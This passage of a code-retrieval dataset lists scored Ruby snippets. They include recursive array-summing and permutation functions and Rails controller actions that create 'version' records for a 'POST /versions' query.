"text": "def add_numbers(array)\n return nil if array.empty?\n return array.first if array.length == 1\n array.first + add_numbers(array[1..-1])\nend",
"title": ""
},
{
"docid": "942796d926e34e115eebdbaa733aa427",
"score": "0.68474525",
"text": "def add_numbers(array)\n return array[0] if array.length <= 1\n array.first + add_numbers(array[1..-1])\nend",
"title": ""
},
{
"docid": "fe57460b7f6e3298324f406e0e489ac5",
"score": "0.68462527",
"text": "def sum_rec(numbers)\n return 0 if numbers.empty?\n return numbers.first if numbers.size == 1\n numbers.shift + sum_rec(numbers)\nend",
"title": ""
},
{
"docid": "12c233873250170dab504193f7b3ea51",
"score": "0.68432486",
"text": "def add_numbers(arr)\n return nil if arr.empty?\n return arr.first if arr.length == 1\n arr.first + add_numbers(arr[1..-1])\nend",
"title": ""
},
{
"docid": "845181798465427656b61c42f4ce0d15",
"score": "0.6835505",
"text": "def add_numbers(arr)\n return nil if arr.empty?\n return arr.first if arr.length <= 1\n arr.first + add_numbers(arr[1..-1])\nend",
"title": ""
},
{
"docid": "f49f2cd90e994cc2b84c96ab3fa3f99e",
"score": "0.68079007",
"text": "def sum(arr)\n if arr.length == 0 \n return 0\n else\n return arr[0] + sum(arr[1..-1])\n end\nend",
"title": ""
},
{
"docid": "4c28bc222a1d53a7874e1ff204735970",
"score": "0.6801847",
"text": "def add_numbers(arr)\n return nil if arr == []\n return arr[0] if arr.length == 1\n arr[0] + add_numbers(arr[1..-1])\n\nend",
"title": ""
},
{
"docid": "bd06775e2a5b4b02b7ef860dd3c295f4",
"score": "0.6790887",
"text": "def sum_rec(nums)\n return 0 if nums.empty?\n return nums.first if nums.length == 1\n nums.shift + sum_rec(nums)\nend",
"title": ""
},
{
"docid": "34485b093b4ba7684aa8877cef3b179b",
"score": "0.6788449",
"text": "def add_numbers(arr)\n return arr.first if arr.length <= 1\n arr.pop + add_numbers(arr)\nend",
"title": ""
},
{
"docid": "f81b69a93350de24fad0a34caacd9ee4",
"score": "0.67883086",
"text": "def add_numbers(num_arr)\n # Base cases\n return nil if num_arr.empty?\n return num_arr[0] if num_arr.length == 1\n\n # Recursive step\n num_arr[0] + add_numbers(num_arr[1..-1])\nend",
"title": ""
},
{
"docid": "db67be3c1bb031d668f0ec93d5a01278",
"score": "0.67793185",
"text": "def add_numbers(arr)\n return arr.first if arr.length <= 1\n\n arr.pop + add_numbers(arr)\nend",
"title": ""
},
{
"docid": "29d8c678cc525a325f0f787fc9608e82",
"score": "0.6772112",
"text": "def sum_recursive(array)\n array.inject(&:+)\nend",
"title": ""
},
{
"docid": "f4397c9e68f2cf7aad40c9e1bad4e310",
"score": "0.6762935",
"text": "def sum(arr)\n return 0 if arr.length <= 0\n arr[0] + sum(arr[1..-1])\nend",
"title": ""
},
{
"docid": "5a488185c52e70aa2fb9248e769d31c9",
"score": "0.6759547",
"text": "def recursive_add_binary_array(a,b)\r\n n = a.length\r\n c = Array.new(n + 1)\r\n recursive_add(a,b,c,n - 1)\r\n return c\r\nend",
"title": ""
},
{
"docid": "b174622b91fe0af387679500347a1bd4",
"score": "0.6758432",
"text": "def add_numbers(arr)\n return nil if arr == []\n return arr[0] if arr.length == 1\n arr[-1] + add_numbers(arr[0...-1])\nend",
"title": ""
},
{
"docid": "fd4153f9593e02c0d7d0c5afcf998d06",
"score": "0.67560625",
"text": "def combinations(array)\n len = array.length\n\n # base case\n return [] if len == 0\n return [array] if len == 1\n\n # recursive case\n first = array.take 1\n rest = combinations array.drop(1)\n\n (rest.reduce([]) do |acc, arr|\n acc << (first + arr)\n acc << arr\n end) << first # reduce returns an array which I'm pushing first onto, and returning the entire expression\nend",
"title": ""
},
{
"docid": "c5e5bfeabc83e9fbfa37690a3af73884",
"score": "0.67549676",
"text": "def add_numbers(arr)\n return nil if arr.length < 1\n return arr[0] if arr.length == 1 # base case returns an integer to be added back up to arr[0]\n\n arr[0] + add_numbers(arr[1..-1]) # ruby reads from left to right, so it adds first then checks next stack\nend",
"title": ""
},
{
"docid": "718cba7f83c5324707fdfc1b9312e0ee",
"score": "0.67471904",
"text": "def add_numbers(arr)\n return arr.first if arr.length <= 1\n\n arr.pop + add_numbers(arr)\nend",
"title": ""
},
{
"docid": "f02fa146809bcb5c67125980d9ade2a2",
"score": "0.67454666",
"text": "def add_numbers(arr)\n return nil if arr.empty?\n return arr[0] if arr.length == 1\n\n arr[0] + add_numbers(arr[1..-1])\nend",
"title": ""
},
{
"docid": "0bed62860105af02ff7c4e4411a6b90f",
"score": "0.67448497",
"text": "def add_numbers(arr)\n #base case\n if arr.length <= 1\n return arr.first\n elsif arr.empty?\n return nil\n end\n #inductive_case\n arr[0] + add_numbers(arr[1..-1])\nend",
"title": ""
},
{
"docid": "5a25b259cd81c22001162c367be4458f",
"score": "0.67407596",
"text": "def sum! array\n if array == []\n 0\n else array.shift + sum!(array)\n end\nend",
"title": ""
},
{
"docid": "418b1e0c952dc1b49d0666acbdbfd65e",
"score": "0.6739082",
"text": "def add_numbers(arr)\n return arr[0] if arr.length <= 1\n arr[0] + add_numbers(arr[1..-1])\nend",
"title": ""
},
{
"docid": "9e4855627bee25392a270e614dc76b2a",
"score": "0.67369366",
"text": "def add_numbers(arr)\n return nil if arr == []\n return arr[0] if arr.length == 1\n arr[0] + add_numbers(arr[1..-1])\nend",
"title": ""
},
{
"docid": "96b0ab5b7abcd0059d052ae5aaa03f99",
"score": "0.6734074",
"text": "def add_numbers(nums_array)\n return nums_array.first if nums_array.length <= 1\n nums_array.first + add_numbers(nums_array[1..-1])\nend",
"title": ""
},
{
"docid": "96b0ab5b7abcd0059d052ae5aaa03f99",
"score": "0.6734074",
"text": "def add_numbers(nums_array)\n return nums_array.first if nums_array.length <= 1\n nums_array.first + add_numbers(nums_array[1..-1])\nend",
"title": ""
},
{
"docid": "96b0ab5b7abcd0059d052ae5aaa03f99",
"score": "0.6734074",
"text": "def add_numbers(nums_array)\n return nums_array.first if nums_array.length <= 1\n nums_array.first + add_numbers(nums_array[1..-1])\nend",
"title": ""
},
{
"docid": "96b0ab5b7abcd0059d052ae5aaa03f99",
"score": "0.6734074",
"text": "def add_numbers(nums_array)\n return nums_array.first if nums_array.length <= 1\n nums_array.first + add_numbers(nums_array[1..-1])\nend",
"title": ""
},
{
"docid": "96b0ab5b7abcd0059d052ae5aaa03f99",
"score": "0.6734074",
"text": "def add_numbers(nums_array)\n return nums_array.first if nums_array.length <= 1\n nums_array.first + add_numbers(nums_array[1..-1])\nend",
"title": ""
},
{
"docid": "41e9b23a0aa9634e673a068c1d76d2d4",
"score": "0.6731927",
"text": "def add_numbers(arr)\n return arr[0] if arr.length == 1\n return nil if arr.length < 1\n arr[0] + add_numbers(arr[1..-1])\n\nend",
"title": ""
},
{
"docid": "1ddcf1a92d16974f987b2680c223c800",
"score": "0.6725564",
"text": "def permutations(array)\n return [array] if array.length <= 1\n\n # # pop off the last element\n # first = array.shift\n\n # make the recursive call\n\n # take the base and join with the rest\n perms = permutations(array[0...-1])\n # dla permutacji [1,2,3]\n\n # wiemy, że permutacja([2,3]) -> [[2,3],[3,2]]\n # first = 1\n # perms = [[2,3],[3,2]]\n\n # # we will need an array to store all our different permutations\n total_permutations = []\n # dla [1,2] perms -> [[2]]\n\n # Now we iterate over the result of our recusive call say [[1, 2], [2, 1]]\n # and for each permutation add first into every index. This new subarray\n # gets added to total_permutations.\n\n # perms = [[2]]\n\n # dla permutations([1,2,3])\n # mamy:\n # first = 1\n # perms = [[2,3],[3,2]]\n perms.each do |perm|\n # perm [2]2\n\n (0..perm.length).each do |i|\n # dla każdego indeksu permutacji dodaj pierwszy element\n # 0..1\n # perm[0...0] -> []\n # first -> 1\n # perm[0..-1] ->\n # if i == 0 total_permutations << [first] + perm[i..-1]\n # if i == perm.length total_permutations << [first] + perm[i..-1]\n\n total_permutations << perm[0...i] + [array.last] + perm[i..-1]\n # [] + [1] + [2] -> [1,2]\n\n # dla i = 1\n # perm[0...1] -> [2]\n # [first] -> [1]\n # perm[1..-1]\n end\n end\n\n total_permutations\nend",
"title": ""
},
{
"docid": "0f529dfd70d43ac40eaa3b3f84e1e705",
"score": "0.67182034",
"text": "def add_numbers(nums_array)\n if nums_array.size <= 1\n nums_array.first\n else\n nums_array.first + add_numbers(nums_array[1..-1])\n end\nend",
"title": ""
},
{
"docid": "eb05559fd7909f3efea6b2f3ee4a4236",
"score": "0.6717802",
"text": "def permutations(array)\n len = array.length\n\n # base case\n return [] if len == 0\n return [array] if len == 1\n\n # recursive case\n first = array.take 1\n\n permutations(array.drop(1)).reduce([]) do |acc, arr|\n for i in 0..arr.length # include the length as the final index\n acc.push(arr.take(i) + first + arr.drop(i))\n end\n acc\n end\nend",
"title": ""
},
{
"docid": "c3b798076c2d87dfe4117d8e82a7aa53",
"score": "0.67081535",
"text": "def add_numbers(nums_array)\n return nil if nums_array.length.zero?\n return nums_array[0] if nums_array.length == 1\n nums_array[0] + add_numbers(nums_array[1..-1])\nend",
"title": ""
},
{
"docid": "813794ec5d0a671e6991d6f224dd4ff8",
"score": "0.6705615",
"text": "def sum_rec(nums)\n return 0 if nums.empty?\n return nums[0] if nums.length == 1\n nums[0] + sum_rec(nums[1..-1])\nend",
"title": ""
}
] |
465910763baf4e073db573475b25a6c4
|
POST /versions POST /versions.json
|
[
{
"docid": "035942abd7f7548f9c9ab8a2e411d9c6",
"score": "0.6810627",
"text": "def create\n @version = Version.new(params[:version])\n\n respond_to do |format|\n if @version.save\n format.html { redirect_to @version, notice: 'Version was successfully created.' }\n format.json { render json: @version, status: :created, location: @version }\n else\n format.html { render action: \"new\" }\n format.json { render json: @version.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
[
{
"docid": "c871ddfb41b57af7a4c66a56fd9e81cb",
"score": "0.73328644",
"text": "def add_aos_version(args = {}) \n post(\"/aosversions.json/\", args)\nend",
"title": ""
},
{
"docid": "c16c8c3462019d3021f6164b8e570ef0",
"score": "0.6816405",
"text": "def create\n @version = Version.new(version_params)\n\n respond_to do |format|\n if @version.save\n format.html { redirect_to @version, notice: \"Version was successfully created.\" }\n format.json { render :show, status: :created, location: @version }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @version.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1af0f9311bae0d30cd59c01471ff3d3a",
"score": "0.6801647",
"text": "def create\n @version = Version.new(version_params)\n\n respond_to do |format|\n if @version.save\n format.html { redirect_to @version, notice: 'Version was successfully created.' }\n format.json { render :show, status: :created, location: @version }\n else\n format.html { render :new }\n format.json { render json: @version.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "65de4b971619597020fbad8a8d165edf",
"score": "0.6740231",
"text": "def add_aos_version_box(args = {}) \n post(\"/aosversions.json/aosversionbox\", args)\nend",
"title": ""
},
{
"docid": "80074d793be1643430c6366a3ebb1a74",
"score": "0.6679681",
"text": "def create\n @version = Version.create(version_params)\n\n # respond_to do |format|\n # if @version.save\n # format.html { redirect_to @version, notice: 'Version was successfully created.' }\n # format.json { render :show, status: :created, location: @version }\n # else\n # format.html { render :new }\n # format.json { render json: @version.errors, status: :unprocessable_entity }\n # end\n # end\n end",
"title": ""
},
{
"docid": "e7e885ce1890253085af265222c3e2e1",
"score": "0.6573941",
"text": "def create\n @admin_version = Admin::Version.new(params[:admin_version])\n\n respond_to do |format|\n if @admin_version.save\n format.html { redirect_to @admin_version, notice: 'Version was successfully created.' }\n format.json { render json: @admin_version, status: :created, location: @admin_version }\n else\n format.html { render action: \"new\" }\n format.json { render json: @admin_version.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "46130e6e14c9238bd8e53f0c3e7d4b56",
"score": "0.6550768",
"text": "def create\n @version = @product.versions.new(version_params)\n if @version.latest == true\n logger.debug \" ====== version latest #{@version.latest}\"\n @product.versions.set_latest_all_false\n end\n respond_to do |format|\n if @version.save\n format.html { redirect_to [@version.product, @version], notice: 'Version was successfully created.' }\n format.json { render :show, status: :created, location: @version }\n else\n format.html { render :new }\n format.json { render json: @version.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e2955951b4760d64167785b4b1d62993",
"score": "0.6535035",
"text": "def create\n @software = Software.find(params[:software_id])\n @version = @software.versions.new(params[:version])\n\n respond_to do |format|\n if @version.save\n format.html { redirect_to @software, notice: 'Version was successfully created.' }\n format.json { render json: @version, status: :created, location: @version }\n else\n format.html { render action: \"new\" }\n format.json { render json: @version.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4c4519ce6fc2eed8142dabd5b8e550cc",
"score": "0.65240467",
"text": "def create\n @software = Software.find params[:software_id]\n @version = @software.versions.create(version_params)\n\n respond_to do |format|\n if @version.save\n format.html { redirect_to @software, notice: 'Version was successfully created.' }\n format.json { render :show, status: :created, location: @version }\n else\n format.html { render :new }\n format.json { render json: @version.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "002486240f6f57030531d95b468dcce0",
"score": "0.6481155",
"text": "def create\n @version = Version.new(version_params)\n \n respond_to do |format|\n if admin? and @version.save!\n format.html { redirect_to @version, notice: 'Version was successfully created.' }\n format.json { render :show, status: :created, location: @version }\n else\n format.html { render :new }\n format.json { render json: @version.errors, status: :unprocessable_entity }\n end\n end\n\n end",
"title": ""
},
{
"docid": "4d2db4faa5ce410aba510af52834322c",
"score": "0.6460311",
"text": "def box_version_create(username:, name:, version:, description: Data::Nil)\n request(method: :post, path: \"/box/#{username}/#{name}/versions\", params: {\n version: {\n version: version,\n description: description\n }\n })\n end",
"title": ""
},
{
"docid": "22da01a2e440883f2eec07fab9120a34",
"score": "0.64405376",
"text": "def add_version(name, project_id)\n post :add_version, :name => name, :project_id => project_id\n end",
"title": ""
},
{
"docid": "0ffb9ac4863e5ee4765c0127118515d6",
"score": "0.63367516",
"text": "def new\n @project = Project.find(params[:project_id])\n @version = @project.versions.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @version }\n end\n end",
"title": ""
},
{
"docid": "36bc028e303984bf434b9535c6f51cb1",
"score": "0.63295656",
"text": "def index\n @versions = Version.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @versions }\n end\n end",
"title": ""
},
{
"docid": "c1c874478aa6da204703ff05e91ebb6f",
"score": "0.6313875",
"text": "def create\n @app_version = @app.app_versions.new(params[:app_version])\n\n respond_to do |format|\n if @app_version.save\n format.html { redirect_to(@app, :notice => 'Version was successfully created.') }\n format.xml { render :xml => @app_version, :status => :created, :location => @app_version }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @app_version.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "46983689552a9c7ef6551383b1369bc5",
"score": "0.6294269",
"text": "def create\n @release_version = ReleaseVersion.new(release_version_params)\n\n respond_to do |format|\n if @release_version.save\n format.html { redirect_to @release_version, notice: 'Release version was successfully created.' }\n format.json { render :show, status: :created, location: @release_version }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @release_version.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f9f5faa659ae5debbe35fb3d71989656",
"score": "0.6277852",
"text": "def create\n @page_version = PageVersion.new(params[:page_version])\n\n respond_to do |format|\n if @page_version.save\n format.html { redirect_to @page_version, notice: 'Page version was successfully created.' }\n format.json { render json: @page_version, status: :created, location: @page_version }\n else\n format.html { render action: \"new\" }\n format.json { render json: @page_version.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "dd9f508ae678e78a79026afea9442e24",
"score": "0.6268204",
"text": "def create\n @version = @product.versions.new(params[:version])\n\n respond_to do |format|\n if @version.save\n flash[:notice] = 'Version was successfully created.'\n format.html { redirect_to([@product, @version]) }\n format.xml { render :xml => @version, :status => :created, :location => [@product, @version]}\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @version.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "12f36bd06f68867caaa25a2d5e4a8f6d",
"score": "0.6260402",
"text": "def create\n @version = Version.new(version_params)\n @categories = version_params[:category]\n respond_to do |format|\n if @version.save\n format.html { redirect_to @version, notice: 'Version was successfully created.' }\n format.json { render :show, status: :created, location: @version }\n else\n format.html { render :new }\n format.json { render json: @version.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5127b3eea97f5c8baf78ba2ea090bf5e",
"score": "0.6253435",
"text": "def index\n response = VersionResponse.new( BUILD_VERSION )\n render json: response, :status => 200\n end",
"title": ""
},
{
"docid": "974162012426517c39b93ebc5c980ce4",
"score": "0.62440056",
"text": "def create\n @app_version = AppVersion.new(params[:app_version])\n\n respond_to do |format|\n if @app_version.save\n format.html { redirect_to @app_version, notice: 'App version was successfully created.' }\n format.json { render json: @app_version, status: :created, location: @app_version }\n else\n format.html { render action: \"new\" }\n format.json { render json: @app_version.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9d5d29a518c1aeceeb869df30a6843e4",
"score": "0.623282",
"text": "def create\n @app_version = AppVersion.new(app_version_params)\n\n respond_to do |format|\n if @app_version.save\n format.html { redirect_to @app_version, notice: 'App version was successfully created.' }\n format.json { render action: 'show', status: :created, location: @app_version }\n else\n format.html { render action: 'new' }\n format.json { render json: @app_version.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5fc600f50e0fee6ac5dff1142d038f28",
"score": "0.6226137",
"text": "def index\n @versions = smart_listing_create(:versions, Version.all, partial: \"versions/listing\")\n end",
"title": ""
},
{
"docid": "2ba7332fcba6806df800ae96b1d2d159",
"score": "0.62203425",
"text": "def create\n @youversion = Youversion.new(youversion_params)\n\n respond_to do |format|\n if @youversion.save\n format.html { redirect_to dashboard_path + \"#youversion\", notice: 'Youversion was successfully created.' }\n format.json { redirect_to dashboard_path + \"#youversion\", status: :created, location: @youversion }\n else\n format.html { render :new }\n format.json { render json: @youversion.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ecaacf9309453b5a3d338bfe61546283",
"score": "0.6208032",
"text": "def create\n\n amounts = [\"licences\",\"recurrent_services\",\"no_recurrent_services\"]\n amounts.each{|am| params[:version][am+\"_amount\"] = nil unless params[am] }\n \n @version = Version.new(params[:version])\n\n respond_to do |format|\n if @version.save \n format.html { redirect_to(offers_path, :notice => 'Version was successfully created.') }\n format.xml { render :xml => @version, :status => :created, :location => @version }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @version.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "12dc5c10d2df766e6a3e4e6841b619dc",
"score": "0.6138849",
"text": "def create\n @versioned_file = VersionedFile.new(versioned_file_params)\n\n if @versioned_file.save\n render json: @versioned_file, status: :created, location: @versioned_file\n else\n render json: @versioned_file.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "3f1642e59b185de41582db84000acdea",
"score": "0.61312133",
"text": "def new\n @version = Version.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @version }\n end\n end",
"title": ""
},
{
"docid": "3f1642e59b185de41582db84000acdea",
"score": "0.61312133",
"text": "def new\n @version = Version.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @version }\n end\n end",
"title": ""
},
{
"docid": "c644691e24608699aa1da8763f11b573",
"score": "0.61195654",
"text": "def create\n @work_version = Work::Version.new(params[:work_version])\n\n respond_to do |format|\n if @work_version.save\n format.html { redirect_to @work_version, notice: 'Version was successfully created.' }\n format.json { render json: @work_version, status: :created, location: @work_version }\n else\n format.html { render action: \"new\" }\n format.json { render json: @work_version.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0272dc9b03cc36d3376ed49d7364f3a5",
"score": "0.6109525",
"text": "def get_versions\n path = \"/d2l/api/versions/\"\n _get(path)\n # returns: SupportedVersion JSON block\nend",
"title": ""
},
{
"docid": "66424e4f1f8d223aa74fdc77ba41d545",
"score": "0.60637116",
"text": "def create\n @project = Project.find(params[:project_id])\n @version = Version.new(params[:version])\n @version.project = @project\n\n respond_to do |format|\n if @version.save\n format.html { redirect_to [@project,@version], notice: 'Version was successfully created.' }\n format.json { render json: @version, status: :created, location: @version }\n else\n format.html { render action: \"new\" }\n format.json { render json: @version.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4d00549126ab7d661e684b8b8179b90c",
"score": "0.6059445",
"text": "def new\n @article = Article.find params[:article_id]\n @section = Section.find params[:section_id]\n @version = @section.versions.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @version }\n end\n end",
"title": ""
},
{
"docid": "f55c076f46569e21f4d073b77c84a5b2",
"score": "0.60502887",
"text": "def post(version, path, params = {})\n headers = request_headers(:post, path, params)\n request(:post, version, path, params, headers)\n end",
"title": ""
},
{
"docid": "cc22df2ad248a82fe53a048f9fc9cb47",
"score": "0.602695",
"text": "def index\n @admin_versions = Admin::Version.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @admin_versions }\n end\n end",
"title": ""
},
{
"docid": "b9b414ad34de708156247e33df33fdbc",
"score": "0.59841025",
"text": "def create\n model_file = ModelFile.find(params[:model_file_id])\n @version = model_file.versions.build(\n revision_number: params[:revision_number],\n revision_date: params[:revision_date],\n details: params[:details],\n )\n\n if @version.save\n @version.content = dropbox_client.get_file(@version.path)\n @version.save\n else\n @error = true\n end\n\n respond_to do |format|\n format.js do\n if @error\n render text: @version.errors.full_messages.join(\", \"), status: 403\n end\n end\n end\n end",
"title": ""
},
{
"docid": "6edad8e26157e1ccc9c5eab8a4c60651",
"score": "0.59678394",
"text": "def create\n @version = Version.new(version_params)\n @version.filename = params['version']['file'].original_filename\n @version.update_apk_id = version_params['update_apk_id'].to_i\n respond_to do |format|\n if @version.save\n format.html { redirect_to @version, notice: 'Version was successfully created.' }\n format.json { render :show, status: :created, location: @version }\n else\n format.html { render :new }\n format.json { render json: @version.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "15644094ed611d2fb8d34b6b4344e10d",
"score": "0.5962746",
"text": "def update\n @version.update_attributes(params[:version])\n respond_with @version\n end",
"title": ""
},
{
"docid": "ff9e24238a59ac3b5532d82d80857838",
"score": "0.59613675",
"text": "def save_versions\n versions.map(&:save)\n self\n end",
"title": ""
},
{
"docid": "43d2f1347539b3e2a58ba85b4b1c36a7",
"score": "0.59198064",
"text": "def create\n @service_version = ServiceVersion.new(service_version_params)\n\n respond_to do |format|\n if @service_version.save\n format.html { redirect_to @service_version, notice: 'Service version was successfully created.' }\n format.json { render :show, status: :created, location: @service_version }\n else\n format.html { render :new }\n format.json { render json: @service_version.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e3a2542b9075b873afef0b0eac0946a9",
"score": "0.5903459",
"text": "def create\n @document_version = DocumentVersion.new(params[:document_version])\n\n respond_to do |format|\n if @document_version.save\n format.html { redirect_to @document_version, notice: 'Document version was successfully created.' }\n format.json { render json: @document_version, status: :created, location: @document_version }\n else\n format.html { render action: \"new\" }\n format.json { render json: @document_version.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "848ddee798508d6213047f9dc151b613",
"score": "0.58961326",
"text": "def create\n @translations_version = TranslationsVersion.new(translations_version_params)\n\n respond_to do |format|\n if @translations_version.save\n format.html { redirect_to @translations_version, notice: 'Translations version was successfully created.' }\n format.json { render action: 'show', status: :created, location: @translations_version }\n else\n format.html { render action: 'new' }\n format.json { render json: @translations_version.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "30dcf906f48c74acf3c5452c8b45f25d",
"score": "0.58952796",
"text": "def versions(options = { page: 1, per_page: 20 })\n @app.client.model_versions @id, options\n end",
"title": ""
},
{
"docid": "725456ce2d620965aa3c4228588c337c",
"score": "0.58873874",
"text": "def sync_stack_versions(stack_id, params)\n RestClient::Request.execute method: :put, url: \"#{@api_url}/stacks/#{stack_id}/versions/update_all.json\",\n headers: @headers, payload: params do |response, request, result, &block|\n case response.code\n when 200\n JSON.parse(response.to_str, :symbolize_names => true)\n else\n { :errors => [response.code] }\n end\n end\n end",
"title": ""
},
{
"docid": "4abc4544d5aa691befe1d0b91300d30e",
"score": "0.5886073",
"text": "def execute_recipe(version, data = {}.to_json)\n post :execute, params: data, headers: {'Content-Type' => \"application/json\", 'Accept' => \"application/vnd.ink.#{version}\" }\nend",
"title": ""
},
{
"docid": "2754cac600d5e0403d05d067722e88e3",
"score": "0.588577",
"text": "def create\n\n if Version.where(locale_id: version_params[:locale_id]).any?\n @version = Version.where(locale_id: version_params[:locale_id]).last.dup\n @version.update(version_params)\n @version.campaign_id = @campaign.id\n @version.update(user_id: nil, approved_at: nil)\n else\n @version = @campaign.versions.build(version_params)\n end\n\n respond_to do |format|\n if @version.save\n format.html { redirect_to edit_campaign_version_path(@campaign, @version), notice: 'Version was successfully created.' }\n format.json { render action: 'show', status: :created, location: @version }\n else\n format.html { render action: 'new' }\n format.json { render json: @version.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5be1e57787e2c2d2e0a30671b021bae4",
"score": "0.5881556",
"text": "def create_new_version\n version = Google::Apis::AppengineV1beta5::Version.new(\n :id => @version_id,\n :name => \"apps/#{@app_id}/services/#{@service_id}/versions/#{@version_id}\",\n :api_version => @version_info['api_version'],\n :runtime => @version_info['runtime'],\n :threadsafe => @version_info['threadsafe'],\n :handlers => @version_info['handlers'].map do |handler|\n if handler.key?('static_files')\n Google::Apis::AppengineV1beta5::UrlMap.new(\n :url_regex => handler['url'],\n :static_files => Google::Apis::AppengineV1beta5::StaticFilesHandler.new(\n :path => handler['static_files'],\n :upload_path_regex => \"#{@bucket_uri}/#{@uploaded_files[handler][:bucket]}\"))\n elsif handler.key?('static_dir')\n # TODO(nelsona): Add support to directories\n raise 'Uploading directories is not supported'\n elsif handler.key?('script')\n Google::Apis::AppengineV1beta5::UrlMap.new(\n :url_regex => handler['url'],\n :script => Google::Apis::AppengineV1beta5::ScriptHandler.new(\n :script_path => handler['script']))\n else\n raise 'Unknown handler tye'\n end\n end\n .compact,\n :deployment => {\n :files => Hash[*@uploaded_files.map do |_, path|\n [::File.basename(path[:filename]), Google::Apis::AppengineV1beta5::FileInfo.new(\n :source_url => \"#{@bucket_uri}/#{path[:bucket]}\")]\n end\n .flatten]\n }\n )\n\n STDERR.print 'Requesting create new version for the application...'\n new_version = @app_engine.create_app_service_version(\n @app_id, @service_id, version)\n STDERR.puts ' done.'\n\n @operation_id = new_version.name.split('/').last\n end",
"title": ""
},
{
"docid": "9a477e7c218c826e280fe0237fa38389",
"score": "0.5881536",
"text": "def create_new_version(prog, latest)\n puts \"create_new_version(#{prog.id}, #{latest})\"\n ver = prog.versions.create(\n version: latest[1],\n date: latest[0],\n )\nend",
"title": ""
},
{
"docid": "a685281193e60912d9e043ee9b21ea79",
"score": "0.5875924",
"text": "def index\n @versions = Version.all\n end",
"title": ""
},
{
"docid": "a685281193e60912d9e043ee9b21ea79",
"score": "0.5875924",
"text": "def index\n @versions = Version.all\n end",
"title": ""
},
{
"docid": "a685281193e60912d9e043ee9b21ea79",
"score": "0.5875924",
"text": "def index\n @versions = Version.all\n end",
"title": ""
},
{
"docid": "f2f19902a14b9f099069b638f0e37634",
"score": "0.5874504",
"text": "def versions=(value = {})\n if value.kind_of?(Array)\n # input that comes from iTC api\n return\n end\n new_versions = []\n value.each do |language, current_version|\n new_versions << {\n \"value\" => {\n \"name\" => { \"value\" => current_version[:name] },\n \"description\" => { \"value\" => current_version[:description] },\n \"localeCode\" => language.to_s\n }\n }\n end\n\n raw_data.set([\"versions\"], [{ reviewNotes: { value: @review_notes }, contentHosting: raw_data['versions'].first['contentHosting'], \"details\" => { \"value\" => new_versions }, \"id\" => raw_data[\"versions\"].first[\"id\"] }])\n end",
"title": ""
},
{
"docid": "aeae53a07e8040d78714b896c1ac653a",
"score": "0.58650583",
"text": "def create\n @migrate_version = MigrateVersion.new(params[:migrate_version])\n\n respond_to do |format|\n if @migrate_version.save\n format.html { redirect_to @migrate_version, notice: 'Migrate version was successfully created.' }\n format.json { render json: @migrate_version, status: :created, location: @migrate_version }\n else\n format.html { render action: \"new\" }\n format.json { render json: @migrate_version.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "28746faa355a6d03cf398badaa7f7d8b",
"score": "0.5861841",
"text": "def versions=(value = {})\n if value.kind_of?(Array)\n # input that comes from iTC api\n return\n end\n new_versions = []\n value.each do |language, current_version|\n new_versions << {\n \"value\" => {\n \"name\" => { \"value\" => current_version[:name] },\n \"description\" => { \"value\" => current_version[:description] },\n \"localeCode\" => language.to_s,\n \"id\" => current_version[:id]\n }\n }\n end\n\n raw_data.set([\"versions\"], [{ reviewNotes: { value: @review_notes }, \"contentHosting\" => raw_data['versions'].first['contentHosting'], \"details\" => { \"value\" => new_versions }, \"id\" => raw_data[\"versions\"].first[\"id\"], \"reviewScreenshot\" => { \"value\" => review_screenshot } }])\n end",
"title": ""
},
{
"docid": "436c0594bc178ecfd6f36f869f02fc21",
"score": "0.58524126",
"text": "def create\n @base_version = BaseVersion.new(base_version_params)\n\n respond_to do |format|\n if @base_version.save\n format.html { redirect_to @base_version, notice: 'Base version was successfully created.' }\n format.json { render :show, status: :created, location: @base_version }\n else\n format.html { render :new }\n format.json { render json: @base_version.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f347071f57ad4e639053c6771ecbf050",
"score": "0.5840971",
